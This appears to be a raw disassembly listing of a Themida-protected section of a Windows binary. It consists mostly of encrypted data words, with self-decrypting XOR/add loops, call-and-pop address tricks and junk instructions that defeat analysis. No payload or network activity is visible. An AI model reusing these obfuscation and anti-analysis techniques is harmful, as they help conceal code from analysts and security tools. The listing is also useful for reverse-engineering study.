dd 0A6F64B24h, 0A69A5229h, 85970013h, 142E0AA6h, 25D683BBh
dd 0A213A69Ah, 56A9D591h, 7FD877E3h, 3Fh, 0E22019Fh, 209227FCh
dd 94A69C6Dh, 98AFD9F1h, 77C8C35Ah, 0A6E90C1Eh, 753BB808h
dd 4313A67Ah, 7210A2DAh, 736C7E94h, 13A67C88h, 46762E3Fh
dd 0D87735B9h, 0E91Eh, 0C6A03E00h, 56C196A8h, 5B296179h
dd 9A2C6480h, 0F5071FFCh, 0AEE6FEDBh, 0DCB803E0h, 7B1969C2h
dd 5173859Fh, 42A47D5Ch, 0C89C0E14h, 0F78C09A1h, 63144287h
dd 9EFE9AFAh, 9E65E232h, 3C1442C8h, 0CAA7C1D3h, 90FF1EB2h
dd 5230CE1Eh, 0BBD3B03Ch, 0F8D6E883h, 0A42FDD7Bh, 0F242AB13h
dd 0F06C1390h, 0FDB13A5h, 3680BEF5h, 3042ABFCh, 0BDD9B452h
dd 0D9F3CF6Dh, 0DFF5D3A1h, 3C527486h, 84C83E61h, 0A5EF323Dh
dd 64C4AD7Ah, 48D42E0Ch, 7E19516Dh, 0BA32D125h, 0D4D6A19h
dd 11D87h, 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh
dd 0D1EDC8DEh, 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h
dd 0A85BEF07h, 0B3847BF8h, 0D5213A9h, 5F7B567Eh, 0C9D8B5CBh
dd 42A0B74Ch, 61BA2314h, 7F957311h, 3A1D031Fh, 0C9DB4D67h
dd 7956D6A7h, 0A016ED6Ah, 2BB51442h, 7E9E8E22h, 0F4CD69BAh
dd 0EA227BD4h, 93273F1Ch, 0CAFF47B9h, 2D9F686h, 0ECC2CDF0h
dd 0CF0F2A9Ch, 0D8385630h, 64F06240h, 9D387086h, 0A830AD8Bh
dd 0EA13A6BDh, 0B8933181h, 6813089Ch, 0AB13A602h, 0C22B6CEh
dd 27C51531h, 5EF9314Bh, 7300864Ch, 8F000000h, 1C6C424Dh
dd 24DB58BAh, 0B21442A0h, 203E3749h, 0AE13A9B0h, 623F0D45h
dd 0B121D653h, 44AD13A9h, 644157EBh, 6D5CEA45h, 94ED4313h
dd 9E65E244h, 3C13A910h, 4EFBC1D3h, 681BF600h, 95C480FDh
dd 37C1B633h, 248D97DCh, 31BF812h, 647C596Fh, 22FC9A2Ch
dd 1F31CC04h, 3DF2605h, 0A15890E9h, 0C6A39ACAh, 27041AAEh
dd 351D70Fh, 0E0000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h
dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
dd 9B74427Ah, 68EE437Bh, 4F34h, 68240489h, 2DB0h, 68241C89h
dd 679h, 50240489h, 7D6043B8h, 47E4355Ch, 662D34E3h, 254DDB06h
dd 56E565C3h, 2A31A435h, 0C6895615h, 585EF389h, 24048B54h
dd 5204C483h, 8BAh, 89C20100h, 24148B1Ah, 0FF04C483h, 81582434h
dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9685Bh, 69855C3Eh
dd 1538B82Dh, 0C50307EBh, 0B63AE0FFh, 54F339DBh, 14267C59h
dd 8E653560h, 74F25AFh, 15D35765h, 0EA384A66h, 0D3325452h
dd 18973EBDh, 0B42A246Eh, 0BE87DDBh, 0C7000000h, 0B054E63Dh
dd 91E2D64Ah, 5BF5E84Ch, 0EE9h, 3E32A900h, 25CCEAACh, 0F747CEA4h
dd 811A4D82h, 6199C3h, 0B70F5000h, 40685ED0h, 66000018h
dd 59C286BAh, 9E960h, 0BEA50000h, 0C6BC640Ch, 81DBF0BAh
dd 0C9AFA3CEh, 33FF6158h, 0CEF6CE81h, 81581BDCh, 0B3FF74C6h
dd 0C0C08179h, 81134BB7h, 0C4BFC6C0h, 0F18B6666h, 0AD66E881h
dd 0C78149A8h, 6E278FB4h, 0CA816650h, 38F000Bh, 6E8h, 0F00BA200h
dd 5F9FF202h, 6604EB83h, 0E981F98Bh, 1, 0FFB0850Fh, 0FB8BFFFFh
dd 17088D8Dh, 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 2FA5F7C3h, 68E0Fh, 0C8810000h, 6C93D61Dh
dd 1B718D89h, 8BF907E4h, 0E42C51B5h, 0A185C707h, 0B407E42Dh
dd 0C700006Ah, 0E422B985h, 7, 0D5B5FF00h, 0FF07E402h, 0E4306195h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 9CB46D18h, 0C08166A2h, 0C7811784h, 96860C2h
dd 95FF006Ah, 7E40E41h, 59EBC08Bh, 3330B548h, 5C448089h
dd 86F72B8Bh, 0C8D1DFEBh, 50369DA8h, 89B17D99h, 0FC86FE46h
dd 80C6F273h, 0C9CCCEDBh, 36B25B43h, 64432DFh, 9952C624h
dd 2E95F5CFh, 8AFB16Bh, 7A61EDFCh, 0D4B4A57Ah, 0F7A88248h
dd 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h, 0A6C2E97Eh
dd 24E944h, 32B80000h, 35B0h, 7 dup(0)
dd 2DE90000h, 0EA000005h, 465CF012h, 0A3B94D6Dh, 319ADC7h
dd 667C1024h, 2DB6F8Bh, 6C8863FCh, 0CAE8C2D8h, 2C422036h
dd 8DA58298h, 199646F9h, 13A9B762h, 921CABF0h, 0A0CCB330h
dd 218A1442h, 18F50Fh, 0BB9836C8h, 41799570h, 213B4DA6h
dd 80962A46h, 85538BA3h, 0C65890A8h, 30F58F54h, 75874227h
dd 2A62825Bh, 0C09608C6h, 6E3EE530h, 2D59F608h, 0A93D5532h
dd 385831CFh, 10946BE8h, 0D9421442h, 0B9CFADC7h, 1B310F25h
dd 1D3B15E3h, 2F572EE5h, 0EC3C5230h, 4923744Eh, 0FF58F32Bh
dd 5FDC2CC7h, 14421098h, 99BBCD36h, 3E8EA683h, 10985FDCh
dd 0CD361442h, 0B648F5BBh, 0E1144210h, 0E4B2EA06h, 8962EE08h
dd 2BF23169h, 7835377Bh, 616F90CCh, 5968E05Bh, 88000000h
dd 1CD2A926h, 17801442h, 8395AF8Bh, 617956AEh, 20F99729h
dd 8F5EE00h, 191442A0h, 8B74285Ch, 4CE05C11h, 0Ah, 0AF7AFA6Ch
dd 4FE98167h, 7D56683Dh, 7E57255Dh, 6D13C657h, 0B64028Ah
dd 122605D3h, 4DF976DAh, 45D9F9D2h, 0A63A522Fh, 37532ECCh
dd 7D5264FFh, 0FF17F492h, 1A2CC7h, 3D10925h, 1CBA0A2Ah
dd 0C6C7273Fh, 65B84DC3h, 0AC7A4052h, 0B17FB7CFh, 0B583BBD5h
dd 0E984BCDCh, 561A4AC7h, 0D8B2505Ah, 5B0BA8BAh, 8BA78220h
dd 4E2CB853h, 310C2638h, 8E6B8115h, 0AA882676h, 0B08E5C94h
dd 692F419Ah, 5FBA65D7h, 0A8FCAE7Dh, 53A07C96h, 0CD055E76h
dd 3A622233h, 0E05B6BF5h, 4F6945E3h, 719E3Dh, 56C70000h
dd 59275F7Bh, 0C72B637Dh, 48231A4Ah, 0A782982Ch, 7607E58h
dd 0E2201CFh, 7B2B3CD6h, 5C0FEC43h, 6C29E0h, 0E7490000h
dd 42AA956Ah, 0C7A54114h, 85DE79B1h, 7B569E73h, 3395275Fh
dd 42A0C1B6h, 12248D14h, 0CC041AF8h, 0CD0525FEh, 0D00824FFh
dd 100C2602h, 0B4531F47h, 0E8847EF0h, 55706379h, 5C4079F5h
dd 0AABC9104h, 0BE6590Dh, 568A5BEFh, 364C2A7Dh, 0D20A63FEh
dd 42A05B25h, 0DB8B4814h, 0D2502A0h, 4D283AD5h, 0E05C11B2h
dd 123h, 30924C00h, 42A0CCB3h, 0F218A14h, 0C7FF19F5h, 0CC041CF9h
dd 17063E15h, 2B1A1A3Bh, 0A9D91B47h, 0F29DBC50h, 0B9EF6CBCh
dd 7713A60Fh, 0D244D60Eh, 75C52528h, 0D3EDFF19h, 0F08EDEF6h
dd 9671FD11h, 6C46687Ah, 0C9DBEFCEh, 6ABAD2AFh, 0C5D7EFCCh
dd 0B4FB6DFFh, 0AD8CA3B7h, 516946D2h, 736C7E19h, 13A6798Ah
dd 50CF77FAh, 0B1C75B73h, 0B684BCD4h, 0BB89C1D9h, 0C18FC7DDh
dd 294CCE4h, 0A679FE85h, 0F6F35C13h, 3F3B772Fh, 71B89735h
dd 0E71F7898h, 0E99D3A4Ch, 714E9976h, 956C0059h, 0D877386Ah
dd 97B38E2Ch, 13B2C45Fh, 160h, 6C424D3Ch, 0BEFD9F1Ch, 2A9313A6h
dd 81FE60F2h, 13A6BFFAh, 0C3DDEF58h, 0A6BE9BE6h, 0F146CC6Eh
dd 4A109CD7h, 0EE0498F1h, 0F3C1F911h, 8F690716h, 40710671h
dd 74DD13A6h, 3B15E31Bh, 3A17E51Dh, 8609EA22h, 0CD9692DEh
dd 0AAC9A699h, 0DB0201B5h, 47AFD82Ah, 9402E458h, 0B6D6AF3Bh
dd 0DF2C95Dh, 0CAD87795h, 89h, 73444DF3h, 42A001F6h, 0F06DCD14h
dd 1442A00Bh, 0AC055EC7h, 7D5CFA5Ch, 795E5769h, 156BBD5Fh
dd 70E274ACh, 23013E54h, 0DA3AD50Dh, 8CCA1A1Dh, 1159194Eh
dd 2720328Bh, 94429850h, 0A0DB8B52h, 985FDC3Eh, 36944298h
dd 989D62CDh, 0D0399442h, 0B8F69BBEh, 4548F668h, 4FD3F52Dh
dd 0FDE25F3Dh, 99EBBDF3h, 4525EA29h, 425833C8h, 0D6369F14h
dd 94ED0741h, 7E3200h, 46B80000h, 83AF222Ah, 7C55E190h
dd 7789245Ch, 6C424DA2h, 0B9F59F1Ch, 329B13A6h, 7C0380E2h
dd 0DA13A6BAh, 0D6E51171h, 0CF1CCF00h, 4C29F7BDh, 0AD8AA034h
dd 30B05D95h, 3413A601h, 0D9F9D270h, 37A2AC7h, 5B7A0E26h
dd 0C82A7A34h, 0FE364C2Ah, 0CC585163h, 96144D15h, 4A27F52Dh
dd 6C43FA32h, 0A40F8138h, 0C154BBA8h, 0FA95B8CAh, 94F264B4h
dd 66A671EAh, 1B987688h, 1C66E20Bh, 8B5CF059h, 1C6C424Dh
dd 0A9B7B79Fh, 3C74DD13h, 0E579916Eh, 75936D0Bh, 7690A23Dh
dd 9C498199h, 21F29749h, 0A49BCB48h, 51BAFC7h, 46D81028h
dd 0B65815D4h, 77F4107Fh, 2E04F080h, 7A8CE54Eh, 356D8160h
dd 39718B67h, 6841906Bh, 0B7EF48h, 0C0357D29h, 9CFEBDE9h
dd 4F0581Fh, 7B8DF62Eh, 1C6C8461h, 538B9F7Eh, 1A5358B8h
dd 0D8C9E0FCh, 0B18EA4C6h, 0E5E25A2h, 93FC2E04h, 37C023Ah
dd 0B000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
dd 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h, 9B74427Ah
dd 83EE437Bh, 1C8904ECh, 5E406824h, 0C890000h, 447F6824h
dd 1C890000h, 94BA5224h, 5207EB17h, 8B545A59h, 0C481241Ch
dd 4, 1B5668h, 240C8900h, 0FF08438Fh, 835B2434h, 34FF04C4h
dd 0C4835924h, 613DE904h, 0FB82FFF9h, 0EB1C78B8h, 0FFC50307h
dd 0D021FDE0h, 866B7B52h, 0DD3AF077h, 231B1209h, 0BF240B3Eh
dd 687A003Bh, 935E6703h, 6B141A02h, 0A4E2A510h, 701C141Fh
dd 6123D62Ah, 3FC45Dh, 1E919443h, 0A594E112h, 6B516D7Eh
dd 9DE38334h, 0B315F71Fh, 0FCF04E0Fh, 0D28D8D56h, 6A07EB1Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0C7ABC353h, 8166C3F8h, 0F57D8E2h, 8D89D8BFh
dd 7E41B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 34C35141h, 85C7F8A3h, 7E42DA1h, 5B80h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h, 0C76A38DBh
dd 0E422B985h, 7, 11E900h, 863E0000h, 2915B93Ch, 0DA2A9865h
dd 6CB4FD50h, 0B8873931h, 5593A320h, 0E15B5FFh, 816607E4h
dd 89F787F2h, 0E43171B5h, 6195FF07h, 0F07E430h, 6ADBB7h
dd 0E4195FFh
db 0E4h
; ---------------------------------------------------------------------------
loc_5F425D: ; DATA XREF: Themida_:00584A84o
pop es
mov eax, eax
jmp short loc_5F42C0
; ---------------------------------------------------------------------------
dw 30Ch
dd 6705B597h, 0F3A68B49h, 8DB98452h, 4E6EE657h, 0C2BC00FAh
dd 0DF979DFBh, 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h
dd 64DE0831h, 89344936h, 0D7130203h, 7CF0C5EAh, 0EC157A4Ah
dd 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0A80D5319h, 0F4BA0268h
dd 267E44EAh, 327264DAh, 0FA4F9659h
; ---------------------------------------------------------------------------
loc_5F42C0: ; CODE XREF: Themida_:005F4260j
call near ptr loc_5F42CD+1
push edx
mov edi, 2595528Ah
shr dword ptr [esi], cl
loc_5F42CD: ; CODE XREF: Themida_:loc_5F42C0p
mov ecx, 1858D29h
in al, 7 ; DMA controller, 8237A-5.
; channel 3 current word count
pop esi
sub [ebp+7E41CC9h], eax
add esi, 7180h
mov [ebp+7E4091Dh], edi
xor edx, edx
loc_5F42E9: ; CODE XREF: Themida_:005F435Dj
mov ebx, [esi+edx]
jno loc_5F42F7
xor ax, 0E31Fh
loc_5F42F7: ; CODE XREF: Themida_:005F42ECj
xor ebx, 5F464456h
add ebx, 7182D1AAh
mov ecx, [ebp+7E42D59h]
xor ebx, 14F510E7h
mov [ebp+7E422F5h], eax
mov [esi+edx], ebx
mov di, 2A6Eh
and ecx, 54DBED2Dh
sub edx, 4
jmp loc_5F4337
; ---------------------------------------------------------------------------
dw 8083h
dd 0EB6B18FEh, 0B96020C2h
db 0B1h, 0Dh, 2Eh
; ---------------------------------------------------------------------------
loc_5F4337: ; CODE XREF: Themida_:005F4325j
cmp edx, 0FFFF8F2Ch
jnz loc_5F4359
mov [ebp+7E41661h], ecx
jmp loc_5F4375
; ---------------------------------------------------------------------------
dw 787Dh
dd 80AB6807h, 589B2216h
db 79h
; ---------------------------------------------------------------------------
loc_5F4359: ; CODE XREF: Themida_:005F433Dj
push eax
mov al, 32h
pop ecx
jmp loc_5F42E9
; ---------------------------------------------------------------------------
dw 5853h
dd 46364B41h, 61676DDDh, 0C3754C6Ch, 98E1694h
; ---------------------------------------------------------------------------
wait
loc_5F4375: ; CODE XREF: Themida_:005F4349j
call near ptr sub_5F4388
retf
; ---------------------------------------------------------------------------
lahf
cwde
test [edi-8], cl
cmp eax, [ebp+35h]
pop ecx
xlat
and [edi], ch
nop
; =============== S U B R O U T I N E =======================================
sub_5F4388 proc far ; CODE XREF: Themida_:loc_5F4375p
sbb ax, 0B5B0h
pop edi
push edx
jnz loc_5F439B
xor edx, 69D9ACFCh
loc_5F439B: ; CODE XREF: sub_5F4388+7j
pop eax
add edi, 6220h
add dx, 0F4AAh
xor ebx, ebx
mov cl, 0A4h
loc_5F43AB: ; CODE XREF: sub_5F4388+A4j
push dword ptr [ebx+edi]
mov eax, [ebp+7E41F21h]
pop esi
stc
sub esi, 535FD9AFh
mov ax, bx
add esi, 3EBEB056h
cmc
xor esi, 15FC95EEh
mov eax, [ebp+7E42F71h]
push esi
pusha
jmp loc_5F43E5
; ---------------------------------------------------------------------------
dec ebx
cld
inc esi
retf
; ---------------------------------------------------------------------------
db 62h, 0A5h, 0ACh
; ---------------------------------------------------------------------------
sti
push edi
aam 0CDh
pop ebp
loc_5F43E5: ; CODE XREF: sub_5F4388+4Cj
mov cx, 8B1h
popa
pop dword ptr [edi+ebx]
jmp loc_5F4405
; ---------------------------------------------------------------------------
shr byte ptr [edx+3458F021h], 0Eh
or [ebx], ebx
mov edi, [eax-6Bh]
xor ebx, [eax+ebp*2-5Ah]
inc edx
call edx
loc_5F4405: ; CODE XREF: sub_5F4388+65j
or edx, 51EDD1FBh
sub ebx, 176BD4EBh
jl loc_5F441A
movzx edx, ax
loc_5F441A: ; CODE XREF: sub_5F4388+89j
add ebx, 176BD4E7h
sub eax, [ebp+7E414DDh]
cmp ebx, 0FFFF9EACh
jnz loc_5F43AB
jmp loc_5F444A
; ---------------------------------------------------------------------------
db 0F2h
dd 0D1E09FA3h, 2733A64Bh, 0C5FC20CEh, 0E00F04D2h
db 61h, 0B7h
; ---------------------------------------------------------------------------
loc_5F444A: ; CODE XREF: sub_5F4388+AAj
lea ecx, [ebp+7EB2072h]
mov ebx, 753DE8D8h
mov [ebp+7E41B71h], ecx
push 0
push edx
call sub_5F4466
and [edx-3Dh], bl
sub_5F4388 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5F4466 proc near ; CODE XREF: sub_5F4388+D6p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5F4466 endp
; ---------------------------------------------------------------------------
dw 0BB1h
dd 29C55D59h, 85C7CFF5h, 7E42DA1h, 5808h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 0D1C35646h, 0F9A380BEh
dd 0FD8D9BEh, 0B985C727h, 7E422h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 47A5C356h, 12C9858Bh, 0B5FF07E4h, 7E42BF1h, 0E3D950Bh
dd 95FF07E4h, 7E43061h, 8B08B660h, 0E42241BDh, 6A6107h
dd 0E4195FFh, 0C08B07E4h, 0F0161AEBh, 717052A7h, 568E2D5Dh
dd 53856EBFh, 51A10BF9h, 0EE2B14E8h, 6530176Fh, 21628D8Dh
dd 6A07EBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 896564C3h, 0E41B718Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DEA71C28h
dd 0DC8C2C49h, 68A0Fh, 0BD890000h, 7E407BDh, 2DA185C7h
dd 5CC007E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0F1ABF7C3h, 2E96C670h, 85C7D166h
dd 7E422B9h, 0
; ---------------------------------------------------------------------------
push edx
mov di, 9CC8h
pop ebx
push dword ptr [ebp+7E41581h]
push 0
push eax
call sub_5F45C3
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F45C3 proc near ; CODE XREF: Themida_:005F45BBp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5F45C3 endp
; ---------------------------------------------------------------------------
pushf
call dword ptr [ebp+7E43061h]
jnp loc_5F45E6
sub [ebp+7E42095h], eax
loc_5F45E6: ; CODE XREF: Themida_:005F45DAj
push 0
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5F466E
; ---------------------------------------------------------------------------
dw 84FAh
dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 0C4FE940Bh, 2BE909FCh
dd 76E00EADh, 99283625h, 19E5F9E5h, 8E1DB34Eh, 1B4B94C6h
dd 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh, 5899C50Dh
dd 44556317h, 47F39113h, 0B3AC7D82h, 928BA51Bh, 0A169A1B3h
dd 0FCDB5EC7h, 304CD976h, 0A731D200h, 0C1F284DDh, 0FF02776Eh
dd 0ABD99F92h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh, 87CAE560h
db 98h, 0DCh
; ---------------------------------------------------------------------------
loc_5F466E: ; CODE XREF: Themida_:005F45F0j
lea ecx, [ebp+7EB22D8h]
push 0
push edx
call sub_5F467F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F467F proc near ; CODE XREF: Themida_:005F4677p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5F467F endp
; ---------------------------------------------------------------------------
db 73h
dd 0FBD4A51h, 8D89F7B7h, 7E41B71h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0AC35242h, 6081643Fh, 0BADFB70Fh
dd 3EC6698Bh, 0AD958B61h, 0C707E416h, 0E42DA185h, 722C07h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 76A0668Fh, 0D58080E5h, 22B985C7h, 7E4h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 1298BDC3h, 0FF3F4923h, 0E41D5DB5h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 995D45h, 8D01AAE5h, 7E4180Dh, 306195FFh, 958907E4h
dd 7E42245h, 95FF006Ah
db 41h, 0Eh, 0E4h
; ---------------------------------------------------------------------------
loc_5F4763: ; DATA XREF: Themida_:00583C98o
pop es
mov eax, eax
jmp short loc_5F47C3
; ---------------------------------------------------------------------------
dd 5D94C0E8h, 4C35F612h, 0D2D8D54Ch, 0E6AD53B9h, 74CE5304h
dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 95032A53h
dd 0F63DD78Ch, 3CDB9E6Eh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F47CD
loc_5F4798: ; CODE XREF: sub_5F47CD+7j
cmp al, 8Fh
fnstcw word ptr [ebx+5Ch]
nop
xlat
loc_5F479F: ; CODE XREF: sub_5F47CD-23j
mov eax, ds:82008065h
xor [esi-1FDDB266h], ah
jp short loc_5F479F
out 0B2h, al ; Interrupt Controller #2, 8259A
ror dword ptr ds:723A1628h, cl
cmp [ebx-716F6236h], bh
mov ds:250583DBh, eax
; END OF FUNCTION CHUNK FOR sub_5F47CD
; ---------------------------------------------------------------------------
db 3
db 0BEh, 0C2h, 75h
; ---------------------------------------------------------------------------
loc_5F47C3: ; CODE XREF: Themida_:005F4766j
call sub_5F47CD
add al, [edx-3Dh]
jnp short loc_5F47DB
; =============== S U B R O U T I N E =======================================
sub_5F47CD proc near ; CODE XREF: Themida_:loc_5F47C3p
; FUNCTION CHUNK AT 005F4798 SIZE 00000027 BYTES
call near ptr loc_5F47DB+3
cmp ebp, ecx
jo short loc_5F4798
cmpsd
aam 1Dh
stc
in eax, dx
loc_5F47DB: ; CODE XREF: Themida_:005F47CBj
; sub_5F47CDp
mov esp, 0BE995B9h
sub_5F47CD endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 8000000h, 0F9B3EA7Dh, 873FE3ABh, 5A597577h, 0C281F18Bh
dd 75B7h, 2BFA8B66h, 0E38160C0h, 3C47507Dh, 255B58Bh, 8B6107E4h
dd 0EB81021Ch, 61DDF62Bh, 21C5BD8Bh, 0EB8107E4h, 4A197CA6h
dd 81ADE180h, 39F893EBh, 32F1817Ah, 8940A1C4h, 0B58B021Ch
dd 7E41F8Dh, 0ADA4B966h, 8B04E883h, 10F881F9h, 0FFFFF8Bh
dd 1E85h, 21BD2900h, 0E907E423h, 3Bh, 0DC27E18Eh, 0A5B2584Eh
dd 55E297Ch, 7E3C7D92h, 0E91B04EEh, 14h, 92F366F0h, 5FE9256Bh
dd 1C21271h, 0F2230DE4h, 329B6C16h, 0FFFF82E9h, 0D23DDBFFh
dd 1CDDAF2Ch, 8DD99A4Ah, 0EB24CD8Dh, 9F26BE07h, 8D896799h
dd 7E41B71h, 95D8D89h, 85C707E4h, 7E42DA1h, 71ECh, 0C6E0F8BFh
dd 0B985C775h, 7E422h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3ADCC356h
dd 215D1D50h, 6503D21h, 11E8h, 70BC2E00h, 1C0242BBh, 9AF8C881h
dd 0F008036Fh, 11E9BAF9h, 23000000h, 78D04613h, 0B6376160h
dd 0AB890CD9h, 0B1A24753h, 0BB665058h, 895F5E92h, 0E4166DBDh
dd 59B5FF07h, 8B07E40Ah, 6195FFF3h, 6A07E430h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 8B2AC356h, 0E4054595h, 0FF006A07h, 0E40E4195h
; ---------------------------------------------------------------------------
loc_5F4958: ; DATA XREF: Themida_:00582DE8o
pop es
mov eax, eax
loc_5F495B: ; CODE XREF: Themida_:005F49AAj
jmp short loc_5F4995
; ---------------------------------------------------------------------------
db 0ABh, 68h, 2Fh
dd 0A8A40F88h, 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh
dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h
dd 492FCFF3h, 0AC3008C3h, 0FC88B654h
db 6Dh
; ---------------------------------------------------------------------------
loc_5F4995: ; CODE XREF: Themida_:loc_5F495Bj
call near ptr loc_5F49AC+1
push ss
add [eax+43FCF60Bh], bh
pushf
jecxz short near ptr loc_5F49DF+3
push ebx
call near ptr 72097A80h
ja short loc_5F495B
loc_5F49AC: ; CODE XREF: Themida_:loc_5F4995p
db 3Eh
pop ebx
mov esi, ebx
add ebx, 628Eh
mov ecx, 0
push ecx
mov [ebp+7E431B1h], edi
pop edi
loc_5F49C3: ; CODE XREF: Themida_:005F4A3Bj
push dword ptr [ecx+ebx]
xor edx, [ebp+7E40B25h]
pop eax
add edi, 27C718B0h
add eax, 4BF9BA25h
mov [ebp+7E418D9h], ecx
loc_5F49DF: ; CODE XREF: Themida_:005F49A2j
add eax, 55E872FAh
jmp loc_5F49F2
; ---------------------------------------------------------------------------
dw 0A4CEh
dd 0ED925579h
db 0A7h, 9
; ---------------------------------------------------------------------------
loc_5F49F2: ; CODE XREF: Themida_:005F49E5j
sub eax, 7348D235h
mov esi, [ebp+7E40EE9h]
mov [ebx+ecx], eax
jbe loc_5F4A13
jnp loc_5F4A13
or [ebp+7E41BD1h], eax
loc_5F4A13: ; CODE XREF: Themida_:005F4A01j
; Themida_:005F4A07j
jmp loc_5F4A2C
; ---------------------------------------------------------------------------
dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0FAF6E1AFh, 0C1CAA718h
; ---------------------------------------------------------------------------
loc_5F4A2C: ; CODE XREF: Themida_:loc_5F4A13j
sub ecx, 4
add [ebp+7E412DDh], eax
cmp ecx, 0FFFF9E18h
jnz loc_5F49C3
movzx esi, bx
call near ptr loc_5F4A5B+2
and [ebx], edx
cld
dec esi
mov eax, 0AEE5BC59h
push 0FFFFFFF7h
scasd
mov esi, 48683ED6h
push esi
loc_5F4A5B: ; CODE XREF: Themida_:005F4A44p
add dword ptr [edx-45h], 2CF57680h
pop esi
push edi
mov dx, 9A72h
pop ebx
add esi, 5B8Dh
adc bh, 0CEh
mov edi, 16B1h
mov dx, 0D4F6h
loc_5F4A7B: ; CODE XREF: Themida_:005F4B04j
mov eax, [esi]
mov ecx, 1E6EC5C6h
xor eax, 33DF1339h
mov ebx, [ebp+7E43065h]
add eax, 5E35FDB9h
mov [ebp+7E41AD5h], edx
sub eax, 1845AC68h
mov [ebp+7E40DA9h], ecx
push eax
mov [ebp+7E41851h], edx
pop dword ptr [esi]
jbe loc_5F4ABB
mov ebx, [ebp+7E41AE5h]
loc_5F4ABB: ; CODE XREF: Themida_:005F4AAFj
sub esi, 2
push edi
jmp loc_5F4AD5
; ---------------------------------------------------------------------------
dd 89EDD51h, 0E1534D85h, 2F10D72h, 0ABA1A5A9h
db 0EBh
; ---------------------------------------------------------------------------
loc_5F4AD5: ; CODE XREF: Themida_:005F4ABFj
pop ebx
dec esi
dec esi
clc
sub edi, 1
jnz loc_5F4AFE
mov [ebp+7E40DE5h], esi ; CODE XREF: Themida_:005F4B1Dj
jmp loc_5F4B16
; ---------------------------------------------------------------------------
db 96h, 34h, 0BCh
dd 952B7136h, 4CE56A84h, 1FE4AB1Ch
db 0EAh, 5Dh
; ---------------------------------------------------------------------------
loc_5F4AFE: ; CODE XREF: Themida_:005F4ADCj
and ebx, 42E6DF18h
jmp loc_5F4A7B
; ---------------------------------------------------------------------------
db 7, 0E8h, 7Ah
; ---------------------------------------------------------------------------
sub esp, [ebp+ebp*4+21h]
push ecx
push 0A41A8445h
loc_5F4B16: ; CODE XREF: Themida_:005F4AE8j
call sub_5F4B2A
inc ebp
outsb
jnb short near ptr loc_5F4AE2+1
rcr dword ptr [edi+3Bh], cl
sub cl, 0DEh
wait
adc al, 0BCh
push ss
inc esi
; =============== S U B R O U T I N E =======================================
sub_5F4B2A proc near ; CODE XREF: Themida_:loc_5F4B16p
jnb loc_5F4B33
mov bx, di
loc_5F4B33: ; CODE XREF: sub_5F4B2Aj
pop edi
sbb bh, 4Dh
add edi, 59D7h
ja loc_5F4B48
mov ecx, 5198FB84h
loc_5F4B48: ; CODE XREF: sub_5F4B2A+13j
push 1648h
pop esi
add [ebp+7E42ED9h], edi
loc_5F4B54: ; CODE XREF: sub_5F4B2A+98j
push dword ptr [edi]
mov ebx, 17117597h
pop eax
mov bl, 0DDh
sub eax, 6D898372h
mov ecx, 6CBD0AE3h
xor eax, 5E66C18Eh
or [ebp+7E40E31h], eax
xor eax, 128A4E6Dh
add [ebp+7E41675h], ecx
mov [edi], eax
mov edx, [ebp+7E42A05h]
sub edi, 2 ; CODE XREF: sub_5F4B2A+B1j
mov ecx, [ebp+7E402CDh]
dec edi
dec edi
jmp loc_5F4B9F
